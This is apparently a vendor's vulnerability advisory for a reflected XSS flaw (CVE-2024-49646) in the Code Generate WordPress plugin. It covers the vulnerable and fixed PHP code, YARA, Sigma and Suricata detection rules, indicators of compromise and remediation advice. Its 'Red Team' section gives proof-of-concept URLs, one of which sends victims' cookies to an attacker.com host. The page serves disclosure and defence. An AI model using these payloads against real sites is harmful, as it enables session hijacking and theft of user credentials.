CVE-2024-49646
Executive Summary
CVE-2024-49646 is a reflected Cross-Site Scripting (XSS) vulnerability in the Code Generate WordPress plugin (version <= 1.0) by vendor Ioannup. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected HTTP response. This can lead to session hijacking, credential theft, or redirection to malicious sites. The vulnerability is classified as WordPress ecosystem issue; no server-level misconfiguration (Apache/Nginx) is involved.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is no longer maintained, and no patch is available. Users should remove the plugin immediately.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim clicks a crafted link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: High – Reflected XSS can be weaponized in phishing campaigns to compromise WordPress admin sessions.
Deep Dive & Mechanics
The vulnerability resides in the code-generator plugin’s handling of the code parameter. When a user visits a URL like:
http://target.com/wp-content/plugins/code-generator/code-generator.php?code=<script>alert(1)</script>
The plugin echoes the code parameter directly into the HTML response without sanitization or output encoding. This allows an attacker to inject arbitrary HTML/JavaScript. The injected script executes in the context of the victim’s browser, potentially stealing cookies, performing actions on behalf of the user, or redirecting to malicious domains.
Root Cause: The plugin uses echo $_GET['code']; or similar unsanitized output.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.0):
<?php
$code = $_GET['code'];
echo "<div>Code: $code</div>";
?>
Patched Code (none available):
A proper fix would use esc_html() or htmlspecialchars():
<?php
$code = isset($_GET['code']) ? esc_html($_GET['code']) : '';
echo "<div>Code: $code</div>";
?>
Exploitation & Lab Setup
Red Team (Exploitation)
Proof-of-Concept URL:
http://target.com/wp-content/plugins/code-generator/code-generator.php?code=<script>alert(document.cookie)</script>
Advanced Payload (session hijacking):
http://target.com/wp-content/plugins/code-generator/code-generator.php?code=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
Lab Setup:
- Install WordPress with the Code Generate plugin (v1.0) on a local server.
- Use a browser to visit the crafted URL.
- Observe JavaScript execution.
Blue Team (Detection & Prevention)
- Web Application Firewall (WAF) Rule: Block requests containing
code-generator.php?code=with script tags. - Input Validation: Ensure all user inputs are sanitized.
- Content Security Policy (CSP): Implement strict CSP headers to block inline scripts.
Indicators of Compromise (IOCs)
- URL Pattern:
/wp-content/plugins/code-generator/code-generator.php?code= - HTTP Request Parameter:
codecontaining<script>tags or base64-encoded JavaScript. - Referer Header: Suspicious links from phishing emails.
- Log Entry:
GET /wp-content/plugins/code-generator/code-generator.php?code=<script>...
Detection Engineering
YARA Rule
rule CVE_2024_49646_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Code Generate plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-49646"
strings:
$payload1 = /code-generator\.php\?code=.*<script/i
$payload2 = /code-generator\.php\?code=.*%3Cscript/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Code Generate Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with script injection in the code parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/wp-content/plugins/code-generator/code-generator.php'
cs-uri-query|contains: 'code='
cs-uri-query|re: '(?i)<script|%3Cscript'
condition: selection
falsepositives:
- Legitimate use of code parameter with safe content (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-49646 Reflected XSS in Code Generate Plugin"; flow:to_server; content:"/wp-content/plugins/code-generator/code-generator.php"; http_uri; content:"code="; http_uri; pcre:"/(?i)<script|%3Cscript/R"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Remove the Code Generate plugin from all WordPress installations.
- Alternative: Use a different code generation plugin that is actively maintained.
- WAF Rules: Block requests containing
code-generator.php?code=with script-like patterns. - User Education: Train users not to click suspicious links.
- Monitor Logs: Check web server logs for exploitation attempts.
Valters IT – Securing digital frontiers with precision.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.